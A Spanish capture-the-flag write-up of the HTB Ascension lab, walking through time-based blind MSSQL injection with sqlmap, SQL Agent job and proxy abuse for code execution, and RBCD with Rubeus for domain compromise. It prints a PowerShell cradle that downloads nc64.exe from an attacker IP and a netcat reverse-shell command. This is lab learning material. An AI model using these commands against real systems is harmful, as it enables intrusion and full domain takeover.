> For the complete documentation index, see [llms.txt](https://ne0b1t3.gitbook.io/vault/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ne0b1t3.gitbook.io/vault/mini-prolabs/ascension-htb-mini-prolab-vulnlab.md).

# Ascension HTB Mini ProLab / VulnLab

## <mark style="color:blue;">Certification of Completition</mark>

<figure><img src="/files/mtAHrdMT4Ok1rVfLIyMG" alt=""><figcaption></figcaption></figure>

Me sorprendió muy gratamente. A pesar de tratarse de un laboratorio pequeño, consigue condensar una gran variedad de técnicas y escenarios en un entorno relativamente pequeño.

Está compuesta por **4 máquinas y 7 flags**, pero cubre un abanico técnico bastante amplio: explotación de aplicaciones web, escaladas de privilegios, robo y reutilización de credenciales, abuso de Active Directory, MSSQL, enumeración entre dominios/forests, pivoting y evasión de restricciones de red mediante firewall.

Lo que más me gustó fue que ninguna de estas áreas se siente forzada. Todo encaja de forma bastante natural dentro de la cadena de ataque (muy straightforward), obligándote a combinar distintas técnicas en lugar de resolver cada máquina de forma aislada.

En definitiva, aprendí varias técnicas nuevas, reforcé conceptos que ya conocía y terminé incorporando algunas ideas a mi metodología habitual de enumeración y post-explotación. \
Sin duda, una de las Mini Pro Labs que más he disfrutado hasta la fecha.

En este artículo, vengo para hablar de 3 conceptos principales que destacan:

* MSSQLInjectión Time-Based Blind: Exfiltración y dumpeo de datos vía SQL&#x20;
* Impersonación + SQL Agent Proxy
* RBCD (Resource-Based Constrained Delegation)

***

## <mark style="color:$tint;">SQLInjection -  Time Based</mark>

### <mark style="color:$primary;">Enumeración e Identificación</mark>

Encontramos un vector de explotación SQLInjection bajo un formulario de la aplicación web, simplemente con una comilla `'` . Se trata de un Microsoft SQL Server (MSSQL)

<figure><img src="/files/WcVPauVYA8QTv1U8bTQd" alt=""><figcaption><p>Identificando campo vulnerable a SQLInjection</p></figcaption></figure>

Capturamos la solicitud con Burp Suite y se lo mandamos a **sqlmap** para que pruebe diferentes técnicas SQLInjection.

{% code overflow="wrap" %}

```
sqlmap -r sqli.req -p destination --dbs --batch
```

{% endcode %}

Acaba identificando que es vulnerable a MSSQLInjection: Time-Based Blind y posteriormente nos dumpea las bases de datos (DBs):

<figure><img src="/files/MCP3Pt1zI6wOIZH2SpRV" alt=""><figcaption></figcaption></figure>

El siguiente pasó sería dumpear las DBs, pero no se encuentra nada relevante en ellas.

{% code overflow="wrap" %}

```
sqlmap -r sqli.req -p destination -D daedalus --dump-all 
```

{% endcode %}

Podemos enumerar el contexto del servicio MSSQL con `--users` para listar los usuarios del motor SQL:

<figure><img src="/files/oxsqsibQnTf9krNKf8jX" alt=""><figcaption></figcaption></figure>

Para verificar si nuestro usuario actual tiene privilegios de `sysadmin`, usamos `--is-dba` o una query manual `--sql-query="SELECT IS_SRVROLEMEMBER('sysadmin')"`

<figure><img src="/files/PJgr48o4XKzBhmzlwCG8" alt=""><figcaption></figcaption></figure>

Tampoco es el caso. El siguiente paso es identificar con qué usuario estamos autenticados (`SELECT USER_NAME()`) y qué permisos y roles tenemos.

Para mayor comodidad, podemos spawnear una SQL‑shell interactiva con `--sql-shell`.

<figure><img src="/files/yspK0h2ziLZSuJ87Iva9" alt=""><figcaption></figcaption></figure>

***

### <mark style="color:$primary;">Exfiltración de datos mediante volcados en tablas: Enumeración de Permisos y Roles</mark>

Cabe destacar que a partir de aquí estamos obligados a exfiltrar datos mediante volcados en tablas:

{% hint style="info" %}
Cuando lanzamos **sqlmap** para spwanear una SQL-shell (`--sql-shell`) está simulando interactividad encima de una inyección ciega, es decir, no tienes un canal de retorno real donde los resultados viajan de vuelta al cliente. \
Lo que hace **sqlmap** internamente es inferir cada carácter del resultado bit a bit mediante delays (si tarda X segundos → el carácter es Y), lo cual solo funciona para queries que devuelven **un único valor escalar pequeño**.\
\
De tal modo, que comandos como `SELECT USER_NAME()` sí funcionaban en la shell porque devuelven un solo string corto que sqlmap puede inferir carácter a carácter sin problema. Pero algo como `SELECT name FROM sys.server_principals` devuelve **N filas con M columnas** — inferir eso carácter a carácter sobre time-based es técnicamente posible pero sqlmap no lo hace de forma transparente en modo `--sql-shell` porque sería extremadamente lento e inestable.\
\ <mark style="color:blue;">**Solución**</mark>: Crear una tabla, insertar el resultado de la query, y luego dumpear la tabla con `--dump`. Con `--dump` sqlmap usa su propia lógica optimizada de extracción binaria/time-based sobre cada celda de forma controlada, en lugar de intentar streamear un result set en tiempo real. Básicamente conviertes una query multi-fila en un objeto persistente que puedes extraer celda a celda a tu ritmo.
{% endhint %}

1. Creamos una tabla con los valores que queramos — en nuestro caso necesitamos los datos del campo 'username' y 'roles':

{% code overflow="wrap" %}

```
CREATE TABLE roles ([username] sysname, [rolename] sysname)
```

{% endcode %}

2. Podemos seguir este [documento](https://learn.microsoft.com/en-us/sql/relational-databases/system-catalog-views/sys-database-role-members-transact-sql?view=sql-server-ver16) proporcionado por Microsoft para el volcado de datos en nuestra tabla recién creada:

{% code overflow="wrap" %}

```
INSERT INTO roles (username, rolename) SELECT isnull(DP1.name, 'No members'), DP2.name FROM msdb.sys.database_role_members AS DRM LEFT OUTER JOIN msdb.sys.database_principals AS DP1 ON DRM.member_principal_id = DP1.principal_id RIGHT OUTER JOIN msdb.sys.database_principals AS DP2 ON DRM.role_principal_id = DP2.principal_id WHERE DP2.type = 'R'
```

{% endcode %}

3. Finalmente, dumpeamos desde a fuera nuestra tabla 'roles'

{% code overflow="wrap" %}

```
sqlmap -r sqli.req -p destination --dbms mssql -D daedalus -T roles --dump --batch
```

{% endcode %}

Identificamos 3 **permisos especiales** sobre '**daedalus\_admin**':

* SQLAgentUserRole
* SQLAgentReaderRole
* **SQLAgentOperatorRole** — permite ejecutar SQL Agent Jobs (RCE)

<figure><img src="/files/ywAJiMCDdgZ5hKWL7Bxb" alt=""><figcaption></figcaption></figure>

***

## <mark style="color:$tint;">Abusando de Impersonación y SQL Agent Jobs</mark>

### <mark style="color:$primary;">Enumerar Usuarios Impersonables</mark>

Para esta tarea, podemos seguir este otro [artículo](https://www.netspi.com/blog/technical-blog/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/#find) y seguir el mismo proceso de volcado y dumpeo de datos:

{% code overflow="wrap" lineNumbers="true" %}

```
CREATE TABLE grants (username varchar(1024))
INSERT INTO grants (username) SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE'
```

{% endcode %}

{% code overflow="wrap" lineNumbers="true" %}

```
sqlmap -r sqli -p destination --dbms mssql -D daedalus -T grants --dump --batch
```

{% endcode %}

Identificamos como nuestro usuario '**daedalus**' tiene <mark style="color:$primary;">permisos de impersonación</mark> sobre el usuario '**daedalus\_admin**' — justo lo que buscamos.

<figure><img src="/files/bfnBL0sdiEg206cMhm2a" alt=""><figcaption></figcaption></figure>

***

### <mark style="color:$primary;">Abusando de SQL Agent Proxy</mark>

<mark style="color:$primary;">SQL Server Agent</mark> ejecuta tareas, pero por defecto los ejecuta con la cuenta de servicio del SQL Server (normalmente NT Service\SQLSERVERAGENT o similar).

Según [Microsoft](https://learn.microsoft.com/en-us/ssms/agent/create-a-sql-server-agent-proxy?view=sql-server-ver16) para crear agentes requerimos previamente de un Proxy.

Un <mark style="color:$primary;">Proxy</mark> es un objeto que permite ejecutar pasos de un job con credenciales diferentes — básicamente le dice al Agent "ejecuta este paso como este otro usuario". \
El proxy contiene el nombre del proxy (`name`) el usuario Windows con el que ejecutará los comandos (`credential_identity`) y el estado del proxy (`enabled`) (1=habilitado, 0=deshabilitado), descripción si tiene (`description`).

Creamos el proxy y volcamos en ella la información del <mark style="color:$primary;">archivo configuración</mark> del **Proxy Server** (`msdb.dbo.sp_help_proxy`).

{% code overflow="wrap" lineNumbers="true" %}

```
CREATE TABLE proxy ([proxy_id] int, [name] sysname, [credential_identity] sysname, [enabled] tinyint, [description] varchar(1024), [user_sid] varbinary(100), [credential_id] int, [credential_identity_exists] int)
EXEC AS login = N'daedalus_admin'; INSERT INTO proxy EXEC msdb.dbo.sp_help_proxy
```

{% endcode %}

Dumpeamos el contenido de la tabla:

{% code overflow="wrap" lineNumbers="true" %}

```
sqlmap -r sqli -p destination --dbms mssql -D daedalus -T proxy --dump --batch
```

{% endcode %}

El campo clave es **`credential_identity`**. En este ejemplo `WEB01\svc_dev` nos indica el usuario con el que se ejecutará el Proxy.

<figure><img src="/files/ZOb08t8RdLKbheQfirz9" alt=""><figcaption></figcaption></figure>

#### <mark style="color:$tint;">Reverse Shell</mark>

Los payloads que estaremos almacenando en la tarea son:

{% code overflow="wrap" lineNumbers="true" %}

```
powershell.exe -nop -sta -noni -w hidden -exec bypass -c "IEX ((New-Object Net.WebClient).DownloadFile(''http://10.10.14.x/nc64.exe'', ''$env:userprofile\\nc64.exe''))
c:\\windows\\system32\\cmd.exe /c %%USERPROFILE%%\\n64.exe -e cmd.exe 10.10.14.x 443
```

{% endcode %}

Como último paso, creamos la tarea Proxy (reverse shell) y la triggeamos para ejecutar comandos remotamente (RCE) como el usuario '**svc\_dev**':<br>

1. Subida del archivo nc64.exe a la máquina víctima para alojarla en `C:\Windows\Temp` .

{% code overflow="wrap" lineNumbers="true" %}

```
EXEC AS LOGIN = 'daedalus_admin';
EXEC msdb.dbo.sp_add_job @job_name = 'update';
EXEC msdb.dbo.sp_add_jobstep @job_name = 'update', @step_name = 'step1', @subsystem = 'PowerShell', @command = 'IEX ((New-Object Net.WebClient).DownloadFile(''http://10.10.14.13/nc64.exe'', ''C:\Windows\Temp\nc64.exe''))', @proxy_name = 'svc_dev';
EXEC msdb.dbo.sp_add_jobserver @job_name = 'update';
EXEC msdb.dbo.sp_start_job 'update';
```

{% endcode %}

Al cabo de pocos segundos de ejecutar la job, recibimos la petición GET:

<figure><img src="/files/ou9bDJ5MLQgiRUWqxa9E" alt=""><figcaption></figcaption></figure>

2. Ejecutamos nc64.exe para obtener la reverse shell.

{% code overflow="wrap" lineNumbers="true" %}

```
EXEC AS LOGIN = 'daedalus_admin';
EXEC msdb.dbo.sp_add_job @job_name = 'update2';
EXEC msdb.dbo.sp_add_jobstep @job_name = 'update2', @step_name = 'step1', @subsystem = 'CMDEXEC', @command = 'C:\Windows\Temp\nc64.exe -e cmd.exe 10.10.14.13 443', @proxy_name = 'svc_dev';
EXEC msdb.dbo.sp_add_jobserver @job_name = 'update2';
EXEC msdb.dbo.sp_start_job 'update2';
```

{% endcode %}

Nos ponemos en escucha con `sudo rlwrap -cAr nc -nvlp 443` y al cabo de pocos segundos recibimos la conexión de la máquina víctima:

<figure><img src="/files/ZD83DpV8UOQ78GRKOmNu" alt=""><figcaption></figcaption></figure>

***

## <mark style="color:$tint;">Resource-Based Constrained Delegation (RBCD)</mark>

El ataque no es nada complejo: no necesitamos **MAQ > 0**, ni la flag de **Protocol Transition** (`TrustedToAuthForDelegation`). Partimos de un **GenericAll** sobre el **Domain Controller** (DC2). Aunque suelo ejecutarlo desde Linux con herramientas Python, esta vez lo comparto desde PowerShell (PS).

<figure><img src="/files/nmD0IsvCRjmoiCyGn2ub" alt=""><figcaption></figcaption></figure>

### <mark style="color:$primary;">Ganando PowerShell como nt authority\system</mark>

Una vez comprometido el equipo **MS01$** y la cuenta **<anna@megaairline.local>**, podemos escalar a Domain Enterprise en pocos pasos gracias a **GenericWrite**. \
Modificaremos el atributo '**msDS-AllowedToActOnBehalfOfOtherIdentity**' del equipo target (DC2).

{% hint style="info" %}
Cabe recalcar que, aunque **MS01** está unido al dominio, debemos ejecutar los comandos desde una sesión de PowerShell como `NT AUTHORITY\SYSTEM`. \
\
Esto se debe a que **SYSTEM** utiliza la cuenta de equipo `MS01$` para autenticarse contra el Domain Controller, mientras que una sesión como Administrador local no dispone de credenciales de dominio válidas para comunicarse con él.
{% endhint %}

Podemos spwanear un PS como **authority\system** desde Windows con [PsExec.exe](https://github.com/EliteLoser/Invoke-PsExec):&#x20;

{% code overflow="wrap" lineNumbers="true" %}

```
.\psexec.exe -s -i powershell
```

{% endcode %}

### <mark style="color:$primary;">Abuso de RBCD manualmente</mark>&#x20;

1. Definimos el **SID** del target (DC2) y lo convertimos a **Bytes**:

{% code overflow="wrap" lineNumbers="true" %}

```
$targetComputer = "DC2"
$sidToTrust = "S-1-5-21-775547830-308377188-957446042-1106"
$sidBytes = New-Object System.Security.Principal.SecurityIdentifier($sidToTrust)
```

{% endcode %}

Después de cada paso, lo suyo es verificar que los datos de la variable final es correcta:

<figure><img src="/files/yrDZGOcAMuqZCWJZ5Fl4" alt=""><figcaption></figcaption></figure>

2. Creamos el descriptor de seguridad (**SD**) que permitirá la delegación:

{% code overflow="wrap" lineNumbers="true" %}

```
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($sidToTrust))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
```

{% endcode %}

3. Asignamos el SD sobre el atributo que permite RBCD (`msds-allowedtoactonbehalfofotheridentity`) al equipo víctima (DC2) — Aquí utilizaremos la función **Get-DomainComputer** y **Set-DomainObject** del módulo [Powerview.ps1](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1):&#x20;

{% code overflow="wrap" lineNumbers="true" %}

```
Get-DomainComputer -Identity "DC2" -Domain megaairline.local -Server DC2.megaairline.local -Credential $creds | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity' = $SDBytes} -Credential $creds -Verbose
```

{% endcode %}

Con `-verbose` podemos confirmar que se ha modificado el atributo correctamente

<figure><img src="/files/3Ab7m9kUg2D7xjx6FiDr" alt=""><figcaption></figcaption></figure>

4. Podemos volver a verificarlo visualizando específicamente el atributo correspondiente de DC2:

{% code overflow="wrap" lineNumbers="true" %}

```
Get-DomainComputer "DC2" -Domain megaairline.local -Server DC2.megaairline.local -Credential $creds -Properties msds-allowedtoactonbehalfofotheridentity
```

{% endcode %}

{% code overflow="wrap" lineNumbers="true" %}

```
PS C:\temp> Get-DomainComputer "DC2" -Domain megaairline.local -Server DC2.megaairline.local -Credential $creds -Properties msds-allowedtoactonbehalfofotheridentity

msds-allowedtoactonbehalfofotheridentity
----------------------------------------
{1, 0, 4, 128...}
```

{% endcode %}

### <mark style="color:$primary;">Abuso de RBCD Automatizado</mark>

Existen herramientas alternativas que automatizan todo este proceso para ahorrarnos tiempo — como la función **Set-DomainRBCD** de [PowerMad.ps1](https://github.com/Kevin-Robertson/Powermad):

{% code overflow="wrap" lineNumbers="true" %}

```
Set-DomainRBCD DC2 -DelegateFrom MS02 -Domain megaairline.local -Server DC2.megaairline.local -Verbose
```

{% endcode %}

#### <mark style="color:$primary;">Abusando de S4U2Self + S4U2Proxy</mark>

En ambos casos, una vez modificado el atributo, podremos abusar de **S4U2Self + S4U2Proxy**. Esto nos permite generar un TGT (Ticket Granting Ticket) e impersonar al usuario que queramos — habitualmente un usuario privilegiado como Administrator.

Para ello [Rubeus.exe](https://github.com/Flangvik/SharpCollection/blob/master/NetFramework_4.7_x64/Rubeus.exe):

{% code overflow="wrap" lineNumbers="true" %}

```
.\Rubeus.exe s4u /domain:megaairline.local /dc:DC2 /user:MS01$ /rc4:4d305ab2eb40418cb6e92214e8412b85 /impersonateuser:administrator /msdsspn:CIFS/DC2.megaairline.local /ptt /nowrap
```

{% endcode %}

<figure><img src="/files/GrowhIEGH7LHILIT3cGK" alt=""><figcaption></figcaption></figure>

Finalmente, con el **TGT** de **Administrator/DC2**, podemos acceder remotamente al Domain Controller vía **SMB** con privilegios máximos:

<figure><img src="/files/qxJdwMVwS8iZFuHPOI2z" alt=""><figcaption></figcaption></figure>

## <mark style="color:$tint;">Final</mark>

{% code overflow="wrap" lineNumbers="true" %}

```python
$ exit
[+] Eso sería todo. Espero haber aportado algo de valor y que sirva de ayuda a       estudiantes o usuarios que quieran completar el pequeño laboratorio HTB - Ascension.
[+] Gracias por leer!
[+] Nos vemos en el próximo post
```

{% endcode %}


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://ne0b1t3.gitbook.io/vault/mini-prolabs/ascension-htb-mini-prolab-vulnlab.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
